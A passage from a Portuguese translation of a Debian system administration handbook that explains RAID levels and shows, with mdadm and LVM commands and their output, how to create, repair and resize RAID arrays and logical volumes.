Isso não é, estritamente falando, um nível RAID, mas um empilhamento de dois agrupamentos RAID. A partir de 2×N discos, primeiro se configura eles por pares em volumes N RAID-1; esses volumes N são então agregados em um só, seja por “linear RAID” ou (cada vez mais) por LVM. Esse último caso vai além do puro RAID, mas não existe problema quanto a isso.

RAID-1+0 pode sobreviver com múltiplas falhas nos discos: até N na 2xN série descrita acima, provendo ao menos um disco funcional em cada par de RAID-1.

Aprofundando RAID-10

RAID-10 é ,geralmente , considerado um sinônimo de RAID-1+0, mas uma especifidade Linux faz com que ele seja realmente uma generalização. Essa configuração permite um sistema aonde cada bloco seja armazenado em dois diferentes discos, mesmo com um número impar de discos, sendo as cópias espalhadas ao longo de um modelo configurável.

A performance variará dependendo da escolha do modelo de repartição e do nível de redundância, e da carga de trabalho do volume lógico.

Obviamente, o nível de RAID será escolhido de acordo com as restrições e requerimentos de cada aplicação. Note que um computador sozinho pode ter diversos tipos de RAIDs distintos com diversas configurações.

12.1.1.2. Configurando um RAID

Configurar volumes RAID requer o pacote mdadm; ele provê o comando mdadm, que permite a criação e manipulação de arrays RAID, assim como scripts e ferramentas para integração com o resto do sistema, incluindo o sistema de monitoração.

Nossos exemplo será um servidor com um número de discos, sendo que alguns já estão em uso, e o resto está disponível para a configuração do RAID. Nós inicialmente temos os seguintes discos e partições:

o disco sdb, 4 GB, está completamente disponível;

o disco sdc, 4 GB, também está completamente disponível;

no disco sdd, somente a partição sdd2 (cerca de 4 GB) está disponível;

finalmente, um disco sde, ainda com 4 GB, disponível.

NOTA Identificando os volumes RAID existentes

O arquivo /proc/mdstat lista os volumes existentes e seus estados. Quando criando um novo volume RAID, devemos tomar cuidado para não nomeá-lo da mesma maneira que um volume existente.

Iremos usar estes elementos físicos para criar dois volumes, um RAID-0 e um espelho (RAID-1). Comecemos com o volume RAID-0:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md0 started. # mdadm --query /dev/md0 /dev/md0: 7.99GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Mon Feb 28 01:54:24 2022 Raid Level : raid0 Array Size : 8378368 (7.99 GiB 8.58 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 01:54:24 2022 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : -unknown- Chunk Size : 512K Consistency Policy : none Name : debian:0 (local to host debian) UUID : a75ac628:b384c441:157137ac:c04cd98c Events : 0 Number Major Minor RaidDevice State 0 8 0 0 active sync /dev/sdb 1 8 16 1 active sync /dev/sdc # mkfs.ext4 /dev/md0 mke2fs 1.46.2 (28-Feb-2021) Discarding device blocks: done Creating filesystem with 2094592 4k blocks and 524288 inodes Filesystem UUID: ef077204-c477-4430-bf01-52288237bea0 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/raid-0 # mount /dev/md0 /srv/raid-0 # df -h /srv/raid-0 Filesystem Size Used Avail Use% Mounted on /dev/md0 7.8G 24K 7.4G 1% /srv/raid-0

O comando mdadm --create requer vários parâmetros: o nome do volume a ser criado (/dev/md*, com MD significando Multiple Device), o nível RAID, o número de discos (que é obrigatório, apesar de ser significante apenas com RAID-1 e acima), e os drives físicos a usar. Uma vez que o dispositivo seja criado, nós podemos usá-lo como usamos uma partição normal, criando um sistema de arquivos nela, montando esse sistema de arquivos, e assim por diante. Note que nossa criação de um volume RAID-0 em md0 não passa de coincidência, e a numeração da array não precisa ser correlacionada com a quantidade escolhida de redundância. Também é possível criar arrays RAID nomeadas, dando ao mdadm parâmetros como /dev/md/linear ao invés de /dev/md0.

A criação do RAID-1 segue estilo similar, as diferenças somente serão notadas após a criação:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde mdadm: Note: this array has metadata at the start and may not be suitable as a boot device. If you plan to store '/boot' on this device please ensure that your boot-loader understands md/v1.x metadata, or use --metadata=0.90 mdadm: largest drive (/dev/sdc2) exceeds size (4189184K) by more than 1% Continue creating array? y mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md1 started. # mdadm --query /dev/md1 /dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:08:09 2022 State : clean, resync Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Consistency Policy : resync Rebuild Status : 13% complete Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 17 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 1 8 48 1 active sync /dev/sde # mdadm --detail /dev/md1 /dev/md1: [...] State : clean [...]

DICA RAID, discos e partições

As illustrated by our example, RAID devices can be constructed out of disk partitions as well, and do not require full disks.

Algumas observações em ordem. Primeiro, mdadm nota que os elementos físicos possuem tamanhos diferentes; já que isso implica que algum espaço será perdido no maior elemento, uma confirmação é necessária.

Ainda mais importante, note o estado do espelhamento.O estado normal de um espelho RAID é que os dois discos tenham exatamente o mesmo conteúdo. Contudo, nada garante que esse é o caso quando o volume é criado pela primeira vez. O subsistema RAID irá, por conseguinte, prover essa garantia por si mesmo, e acontecerá uma fase de sincronização assim que o dispositivo RAID for criado. Após algum tempo (a quantidade exata irá depender do real tamanho dos discos…), a array RAID alternará para o estado “ativo” ou "limpo". Note que durante essa fase de reconstrução, o espelho está em modo degradado, e a redundância não é garantida. Um disco falhando durante essa janela de risco poderia levar a perda de todos os dados. Grandes quantidades de dados críticos, contudo, raramente são armazenados em uma array RAID recentemente criada, antes de sua sincronização inicial. Note que mesmo em modo degradado, o /dev/md1 é usável, e um sistema de arquivos pode ser criado nele, assim como alguns dados podem ser copiados para ele.

DICA Começando um espelho em modo reduzido

Às vezes, dois discos não estão imediatamente disponíveis quando se quer iniciar um espelho RAID-1, por exemplo, porque se pretende incluir um dos discos já usado para armazenar os dados que se quer passar para a array. Em tais circunstâncias, é possível criar deliberadamente uma degradada array RAID-1, passando missing em vez de um arquivo de dispositivo como um dos argumentos para mdadm. Uma vez que os dados tenham sido copiados para o "espelho", o disco antigo pode ser adicionado à array. A sincronização irá então acontecer, dando-nos a redundância que foi desejada, em primeiro lugar.

DICA Configurando um espelho sem sincronização

Volumes RAID-1 são geralmente criados para serem usados como disco novo, geralmente considerados vazios. O conteúdo inicial real do disco portanto não é muito relevante, já que alguém apenas precisa saber que os dados escritos após a criação do volume, em particular o sistema de arquivos, podem ser acessados mais tarde.

Pode-se portanto querer saber sobre o ponto de sincronização de ambos os discos no momento da criação. Por que se importar se os conteúdos são idênticos em zonas do volume que nós sabemos que apenas serão lidas após nós termos escrito nelas?

Felizmente, essa fase de sincronização pode ser evitada passando a opção --assume-clean para mdadm. Contudo, essa opção pode levar a surpresas no caso de os dados iniciais serem lidos (por exemplo se um sistema de arquivos já esteja presente nos discos físicos), que é o por que dela não ser habilitada por padrão.

Agora vamos ver o que acontece quando um dos elementos da array RAID-1 falha. O mdadm, em particular sua opção --fail, permite simular uma falha de disco desse tipo:

# mdadm /dev/md1 --fail /dev/sde mdadm: set /dev/sde faulty in /dev/md1 # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:15:34 2022 State : clean, degraded Active Devices : 1 Working Devices : 1 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 19 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 - 0 0 1 removed 1 8 48 - faulty /dev/sde

O conteúdo do volume ainda está acessível (e, se montado, as aplicações não notarão nada), mas a segurança dos dados não é mais garantida: se, por sua vez, o disco sdd falhar, os dados serão perdidos. Nós queremos evitar esse risco, então vamos substituir o disco falho por um novo, sdf:

# mdadm /dev/md1 --add /dev/sdf mdadm: added /dev/sdf # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:25:34 2022 State : clean, degraded, recovering Active Devices : 1 Working Devices : 2 Failed Devices : 1 Spare Devices : 1 Consistency Policy : resync Rebuild Status : 47% complete Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 39 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 spare rebuilding /dev/sdf 1 8 48 - faulty /dev/sde # [...] [...] # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:25:34 2022 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 41 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 active sync /dev/sdf 1 8 48 - faulty /dev/sde

Aqui, mais uma vez, o núcleo automaticamente dispara uma fase de reconstrução, durante a qual o volume, embora ainda acessível, está em um modo degradado. Uma vez que a reconstrução esteja terminada, a array RAID está de volta ao estado normal. Pode-se então dizer ao sistema que o disco sde está para ser removido da array, para que se possa terminar com um espelhamento RAID clássico nos dois discos:

# mdadm /dev/md1 --remove /dev/sde mdadm: hot removed /dev/sde from /dev/md1 # mdadm --detail /dev/md1 /dev/md1: [...] Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 active sync /dev/sdf

A partir de então, a unidade pode ser fisicamente removida quando o servidor está para ser desligado, ou até mesmo removida com o sistema ligado (hot-removed) quando a configuração de hardware permite tal operação (hot-swap). Tais configurações incluem alguns controladores SCSI, a maioria dos discos SATA e unidades externas que operam com USB ou Firewire.

12.1.1.3. Fazendo Backup da Configuração

Most of the meta-data concerning RAID volumes are saved directly on the disks that make up these arrays, so that the kernel can detect the arrays and their components and assemble them automatically when the system starts up. However, backing up this configuration is encouraged, because this detection isn't fail-proof, and it is only expected that it will fail precisely in sensitive circumstances. In our example, if the sde disk failure had been real (instead of simulated) and the system had been restarted without removing this sde disk, this disk could start working again due to having been probed during the reboot. The kernel would then have three physical elements, each claiming to contain half of the same RAID volume. In reality this leads to the RAID starting from the individual disks alternately - distributing the data also alternately, depending on which disk started the RAID in degraded mode Another source of confusion can come when RAID volumes from two servers are consolidated onto one server only. If these arrays were running normally before the disks were moved, the kernel would be able to detect and reassemble the pairs properly; but if the moved disks had been aggregated into an md1 on the old server, and the new server already has an md1, one of the mirrors would be renamed.

Fazer uma cópia de segurança da configuração é portanto importante, mesmo que apenas para referência. A maneira padrão de fazer isso é editando o arquivo /etc/mdadm/mdadm.conf, um exemplo do que é listado aqui:

Exemplo 12.1. mdadm arquivo de configuração

# mdadm.conf # # !NB! Run update-initramfs -u after updating this file. # !NB! This will ensure that initramfs has an uptodate copy. # # Please refer to mdadm.conf(5) for information about this file. # # by default (built-in), scan all partitions (/proc/partitions) and all # containers for MD superblocks. alternatively, specify devices to scan, using # wildcards if desired. DEVICE /dev/sd* # automatically tag new arrays as belonging to the local system HOMEHOST <system> # instruct the monitoring daemon where to send mail alerts MAILADDR root # definitions of existing MD arrays ARRAY /dev/md/0 metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0 ARRAY /dev/md/1 metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1 # This configuration was auto-generated on Mon, 28 Feb 2022 01:53:48 +0100 by mkconf

Um dos detalhes mais úteis é a opção DEVICE, que lista os dispositivos aonde o sistema irá automaticamente procurar por componentes dos volumes RAID no momento da inicialização. No nosso exemplo, nós substituímos o valor padrão, partitions containers, por uma explícita lista de arquivos de dispositivos, já que nós escolhemos usar discos inteiros e não apenas partições, para alguns volumes.

As duas últimas linhas em nosso exemplo são aquelas que permitem ao núcleo escolher, com segurança, qual número de volume atribuir a qual array. O metadado armazenado nos próprios discos são suficientes para remontar (re-assemble) os volumes, mas não para determinar o número do volume (e o nome de dispositivo que coincide com /dev/md*).

Felizmente, estas linhas podem ser geradas automaticamente:

# mdadm --misc --detail --brief /dev/md? ARRAY /dev/md/0 metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0 ARRAY /dev/md/1 metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1

O conteúdo dessas duas últimas linhas não depende da lista de discos incluídos no volume. Logo, não é necessário regenerar essas linhas quando se for substituir um disco falho por um novo. Por outro lado, tem que se tomar o cuidado de atualizar o arquivo ao se criar ou remover uma array RAID.

12.1.2. LVM

LVM, o Logical Volume Manager, é uma outra abordagem para abstrair volumes lógicos a partir de seus suportes físicos, que se concentra em aumentar a flexibilidade em vez de aumentar a confiabilidade. O LVM permite mudar um volume lógico de forma transparente, até aonde os aplicativos tem interesse ; por exemplo, é possível adicionar novos discos, migrar os dados para eles, e remover os discos velhos, sem desmontar o volume.

12.1.2.1. Conceitos sobre LVM

Esta flexibilidade é atingida graças ao nível de abstração envolvendo três conceitos.

Primeiro, o PV (Physical Volume) é a entidade mais próxima ao hardware: ele pode ser partições em um disco, ou um disco inteiro, ou até mesmo qualquer outro dispositivo de bloco (incluindo, por exemplo, uma array RAID). Note que quando um elemento é configurado para ser um PV para o LVM, ele deveria ser acessado via LVM apenas, de outra forma o sistema irá ficar confuso.

Vários PVs podem ser agrupados em um VG (Volume Group - Grupo de Volumes), que pode ser comparado com discos tanto virtual quanto extensível. VGs são abstratos, e não aparecem em um arquivo de dispositivo na hierarquia /dev, então não há risco em usá-los diretamente.

O terceiro tipo de objeto é o LV (Logical Volume), que é um pedaço de um VG; se nós mantermos a analogia VG-como-disco, o LV se compara a uma partição. O LV aparece como um dispositivo de bloco com uma entrada em /dev, e ele pode ser usado como qualquer outra partição física pode ser (mais comumente, para hospedar um sistema de arquivos ou espaço swap).

A coisa importante é que a divisão de um VG em LVs é inteiramente independente de seus componentes físicos (os PVs). Um VG com apenas um componente físico (um disco por exemplo) pode ser dividido em uma dúzia de volumes lógicos; similarmente, um VG pode usar vários discos físicos e parecer como um único e grande volume lógico. A única restrição, obviamente, é que o tamanho total alocado aos LVs não podem ser maiores que a capacidade total dos PVs no grupo de volume.

Geralmente faz sentido, contudo, ter algum tipo de homogeneidade entre os componentes físicos de um VG, e dividir o VG em volumes lógicos que irão ter padrões de uso similares. Por exemplo, se o hardware disponível inclui discos rápidos e discos lentos, os rápidos poderiam ser agrupados em um VG e os lentos em outro; pedaços do primeiro podem então se designados para aplicações que requerem rápido acesso a dados, enquanto o segundo seria mantido para tarefas de menor demanda.

Em todo caso, tenha em mente que um LV não está particularmente anexado a nenhum PV. É possível influenciar aonde os dados de um LV são fisicamente armazenados, mas essa possibilidade não é necessária para o uso do dia a dia. Pelo contrário: quando o conjunto de componentes físicos de um VG evolui, as localizações de armazenagem física correspondentes a um LV em particular podem ser migradas entre discos (enquanto se mantém dentro de PVs atribuídos ao VG, é claro).

12.1.2.2. Configurando um LVM

Vamos agora seguir, passo a passo, o processo de configurar um LVM para um caso de uso típico: nós queremos simplificar uma situação complexa de armazenagem. Uma situação dessas geralmente acontece após uma longa e complicada história de medidas temporárias acumuladas. Para propósitos de ilustração, vamos considerar um servidor onde as necessidades de armazenagem alteram-se com o passar do tempo, terminando em um labirinto de partições disponíveis, divididas em vários discos parcialmente usados. Em termos mais concretos, as seguintes partições estão disponíveis:

no disco sdb, uma partição sdb2, 4 GB;

no disco sdc, uma partição sdc3, 3 GB;

o disco sdd, 4 GB, está completamente disponível;

no disco sdf, uma partição sdf1, 4 GB; e uma partição sdf2, 5 GB.

Complementando, vamos assumir que os discos sdb e sdf são mais rápidos do que os outros dois.

Nosso objetivo é configurar três volumes lógicos para três diferentes aplicações: um servidor de arquivos necessitando 5 GB de espaço de armazenagem, um banco de dados (1 GB) e algum espaço para cópias de segurança (12 GB). Os dois primeiros precisam de bom desempenho, mas cópias de segurança são menos críticas em termos de velocidade de acesso. Todos essas limitações impedem o uso de partições propriamente; usando LVM pode-se abstrair o tamanho físico dos dispositivos, então o único limite é o total de espaço disponível.

As ferramentas necessárias estão no pacote lvm2 e suas dependências. Quando os mesmos estiverem instalados, configurar o LVM terá três etapas, cobrindo três níveis de conceitos.

Primeiro, nós preparamos o volumes físicos utilizando pvcreate:

# pvcreate /dev/sdb2 Physical volume "/dev/sdb2" successfully created. # pvdisplay "/dev/sdb2" is a new physical volume of "4.00 GiB" --- NEW Physical volume --- PV Name /dev/sdb2 VG Name PV Size 4.00 GiB Allocatable NO PE Size 0 Total PE 0 Free PE 0 Allocated PE 0 PV UUID yK0K6K-clbc-wt6e-qk9o-aUh9-oQqC-k1T71B # for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done Physical volume "/dev/sdc3" successfully created. Physical volume "/dev/sdd" successfully created. Physical volume "/dev/sdf1" successfully created. Physical volume "/dev/sdf2" successfully created. # pvdisplay -C PV VG Fmt Attr PSize PFree /dev/sdb2 lvm2 --- 4.00g 4.00g /dev/sdc3 lvm2 --- 3.00g 3.00g /dev/sdd lvm2 --- 4.00g 4.00g /dev/sdf1 lvm2 --- 4.00g 4.00g /dev/sdf2 lvm2 --- 5.00g 5.00g

Até agora tudo bem; note que o PV (volume físico) pode ser configurado em um disco inteiro assim como em partições individuais do mesmo. Como demonstrado acima, o comando pvdisplay lista os PVs existentes, com dois possíveis formatos de saída.

Agora vamos montar esses elementos físicos em VGs usando vgcreate. Nós vamos reunir apenas PVs dos discos rápidos em um VG vg_critical; o outro VG, vg_normal, irá incluir também elementos mais lentos.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1 Volume group "vg_critical" successfully created # vgdisplay --- Volume group --- VG Name vg_critical System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 1 VG Access read/write VG Status resizable MAX LV 0 Cur LV 0 Open LV 0 Max PV 0 Cur PV 2 Act PV 2 VG Size 7.99 GiB PE Size 4.00 MiB Total PE 2046 Alloc PE / Size 0 / 0 Free PE / Size 2046 / 7.99 GiB VG UUID JgFWU3-emKg-9QA1-stPj-FkGX-mGFb-4kzy1G # vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2 Volume group "vg_normal" successfully created # vgdisplay -C VG #PV #LV #SN Attr VSize VFree vg_critical 2 0 0 wz--n- 7.99g 7.99g vg_normal 3 0 0 wz--n- <11.99g <11.99g

Aqui novamente, os comandos são bem simples (e vgdisplay propõem dois formatos de saída). Note que é perfeitamente possível usar duas partições de um mesmo disco físico em dois VGs diferentes. Note também que nós usamos um prefixo vg_ para nomear nossos VGs, mas isso não é nada mais que uma convenção.

Nós agora temos dois "discos virtuais", com o tamanho de 8 GB e 12 GB respectivamente. Vamos transformá-los em "partições virtuais" (LVs). Isto envolve o comando lvcreate e uma sintaxe um pouco mais complexa:

# lvdisplay # lvcreate -n lv_files -L 5G vg_critical Logical volume "lv_files" created. # lvdisplay --- Logical volume --- LV Path /dev/vg_critical/lv_files LV Name lv_files VG Name vg_critical LV UUID Nr62xe-Zu7d-0u3z-Yyyp-7Cj1-Ej2t-gw04Xd LV Write Access read/write LV Creation host, time debian, 2022-03-01 00:17:46 +0100 LV Status available # open 0 LV Size 5.00 GiB Current LE 1280 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 # lvcreate -n lv_base -L 1G vg_critical Logical volume "lv_base" created. # lvcreate -n lv_backups -L 11.98G vg_normal Rounding up size to full physical extent 11.98 GiB Rounding up size to full physical extent 11.98 GiB Logical volume "lv_backups" created. # lvdisplay -C LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_base vg_critical -wi-a----- 1.00g lv_files vg_critical -wi-a----- 5.00g lv_backups vg_normal -wi-a----- 11.98g

São necessários dois parâmetros para a criação de volumes lógicos; eles tem que ser passados ao lvcreate como opções. O nome do LV a ser criado é especificado com a opção -n, e seu tamanho geralmente é dado usando a opção -L. Nós também precisamos dizer ao comando qual o VG a ser operado, é claro, sendo portanto o último parâmetro da linha de comando.

Aprofundamento lvcreate opções

O comando lvcreate possui diversas opções que permitem manipular como o LV é criado.

Vamos primeiro descrever a opção -l, com a qual o tamanho do LV pode ser dados como um número de blocos (como o oposto das unidades “humanas” que nós usamos acima). Esses blocos (chamados de PEs, physical extents, nos termos LVM) são unidades contíguas de espaço de armazenamento em PVs, e elas não podem ser divididas entre LVs. Se alguém quiser definir espaço de armazenamento para um LV com alguma precisão, por exemplo para usar todo o espaço disponível, a opção -l provavelmente será preferida, ao invés da -L.

Também é possível sugerir uma localização física de um LV, para que suas extensões sejam armazenadas em um PV em particular (enquanto se mantém dentro dos atribuídos ao VG, é claro). Como nós sabemos que o sdb é mais rápido que o sdf, nós talvez queiramos armazenar o lv_base lá, caso nós queiramos dar uma vantagem ao servidor de banco de dados, em comparação com o servidor de arquivos. A linha de comando se torna: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Note que esse comando pode falhar se o PV não tiver extensões livres suficientes. Em nosso exemplo, nós provavelmente teríamos que criar lv_base antes de lv_files para evitar essa situação – ou liberar algum espaço em sdb2 com o comando pvmove.

Volumes lógicos, quando criados, são representados como dispositivos de blocos no /dev/mapper/:

# ls -l /dev/mapper total 0 crw------- 1 root root 10, 236 Mar 1 00:17 control lrwxrwxrwx 1 root root 7 Mar 1 00:19 vg_critical-lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Mar 1 00:17 vg_critical-lv_files -> ../dm-0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 vg_normal-lv_backups -> ../dm-2 # ls -l /dev/dm-* brw-rw---- 1 root disk 253, 0 Mar 1 00:17 /dev/dm-0 brw-rw---- 1 root disk 253, 1 Mar 1 00:19 /dev/dm-1 brw-rw---- 1 root disk 253, 2 Mar 1 00:19 /dev/dm-2

NOTA Autodetecção de volumes LVM

Quando o computador é inicializado, a unidade de serviço do systemd lvm2-activation executa vgchange -aay para "ativar" os grupos de volume; ele faz uma busca nos dispositivos disponíveis; aqueles que tiverem sido inicializados como volumes físicos para o LVM são registrados em um subsistema LVM, aqueles que pertencem aos grupos de volume são montados, e os volumes lógicos relevantes são iniciados e disponibilizados. Não existe, portanto, necessidade de editar arquivos de configuração quando se cria ou se modifica volumes LVM.

Note, contudo, que o layout dos elementos LVM (volumes físicos e lógicos, e grupos de volume) tem cópia de segurança em /etc/lvm/backup, que pode ser útil em caso de um problema (ou apenas para da uma espiada embaixo do capô).

Para simplificar, links simbólicos são convenientemente criados em diretórios que coincidem com os VGs:

# ls -l /dev/vg_critical total 0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Mar 1 00:17 lv_files -> ../dm-0 # ls -l /dev/vg_normal total 0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 lv_backups -> ../dm-2

Os LVs então podem ser utilizados exatamente como partições padrão:

# mkfs.ext4 /dev/vg_normal/lv_backups mke2fs 1.46.2 (28-Feb-2021) Discarding device blocks: done Creating filesystem with 3140608 4k blocks and 786432 inodes Filesystem UUID: 7eaf0340-b740-421e-96b2-942cdbf29cb3 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/backups # mount /dev/vg_normal/lv_backups /srv/backups # df -h /srv/backups Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_normal-lv_backups 12G 24K 12G 1% /srv/backups # [...] [...] # cat /etc/fstab [...] /dev/vg_critical/lv_base /srv/base ext4 defaults 0 2 /dev/vg_critical/lv_files /srv/files ext4 defaults 0 2 /dev/vg_normal/lv_backups /srv/backups ext4 defaults 0 2

Do ponto de vista das aplicações, a miríade de pequenas partições foi abstraída em um grande volume de 12 GB, com um nome amigável.

12.1.2.3. LVM ao longo do tempo

Mesmo que a habilidade de agregar partições ou discos físicos seja conveniente, essa não é a principal vantagem trazida pelo LVM. A flexibilidade que ele trás é especialmente notada com o passar do tempo, quando as necessidades se desenvolvem. Em nosso exemplo, vamos assumir que novos e grandes arquivos tem que ser armazenados, e que o LV dedicado ao servidor de arquivos é muito pequeno para acomodá-los. Como nós não usamos todo o espaço disponível em vg_critical, nós podemos crescer o lv_files. Para esse propósito, nós iremos usar o comando lvresize, e então o resize2fs para adaptar o sistema de arquivos em conformidade:

# df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 4.9G 4.2G 485M 90% /srv/files # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 5.00g # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1.99g # lvresize -L 6G vg_critical/lv_files Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents). Logical volume vg_critical/lv_files successfully resized. # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 6.00g # resize2fs /dev/vg_critical/lv_files resize2fs 1.46.2 (28-Feb-2021) Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required old_desc_blocks = 1, new_desc_blocks = 1 The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long. # df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 5.9G 4.2G 1.5G 75% /srv/files

ATENÇÃO Redimensionando sistemas de arquivos

Nem todos os sistemas de arquivos podem ser redimensionados em tempo real; redimensionar um volume pode portanto requerer primeiro a desmontagem do sistema de arquivos e sua remontagem depois. Claro que, se alguém quiser diminuir o espaço alocado para um LV, o sistema de arquivos tem que ser diminuído primeiro; a ordem é revertida quando o redimensionamento segue na outra direção: o volume lógico tem que ser aumentado antes do sistema de arquivos existente nele. Isso é bastante direto, já que em nenhum momento o tamanho do sistema de arquivos deve que ser maior que o dispositivo de bloco onde ele reside (seja esse dispositivo uma partição física ou um volume lógico).

Os sistemas de arquivo ext3, ext4 e xfs podem ser cultivados em tempo real, sem serem desmontados; encolhê-los requer uma desmontagem. O sistema de arquivos reiserfs permite o redimensionamento em tempo real nas duas direções. O venerável ext2 não permite, e sempre requer o desmonte.

Nós poderíamos proceder de maneira similar para estender o volume que hospeda o banco de dados, apenas se nós tivermos alcançado o limite de espaço disponível do VG:

# df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 974M 883M 25M 98% /srv/base # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1016.00m

No matter, since LVM allows adding physical volumes to existing volume groups. For instance, maybe we've noticed that the sdb3 partition, which was so far used outside of LVM, only contained archives that could be moved to lv_backups. We can now recycle it and integrate it to the volume group, and thereby reclaim some available space. This is the purpose of the vgextend command. Of course, the partition must be prepared as a physical volume beforehand. Once the VG has been extended, we can use similar commands as previously to grow the logical volume then the filesystem:

# pvcreate /dev/sdb3 Physical volume "/dev/sdb3" successfully created. # vgextend vg_critical /dev/sdb3 Volume group "vg_critical" successfully extended # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 3 2 0 wz--n- <12.99g <5.99g # lvresize -L 2G vg_critical/lv_base [...] # resize2fs /dev/vg_critical/lv_base [...] # df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 2.0G 886M 991M 48% /srv/base

Aprofundamento LVM avançado

O LVM também serve para usos mais avançados, aonde muitos detalhes podem ser especificados a mão. Por exemplo, um administrador pode ajustar o tamanho dos blocos que compõem os volumes físicos e lógicos, assim como seus layouts físicos. Também é possível mover blocos entre PVs, por exemplo para um ajuste fino no desempenho ou, de maneira mais mundana, liberar um PV quando alguém precisa extrair o disco físico correspondente de um VG (seja para designá-lo para outro VG ou removê-lo do LVM totalmente). As páginas de manual que descrevem os comandos geralmente são claras e detalhadas. Um bom ponto de partida é a página de manual lvm(8).

12.1.3. RAID ou LVM?

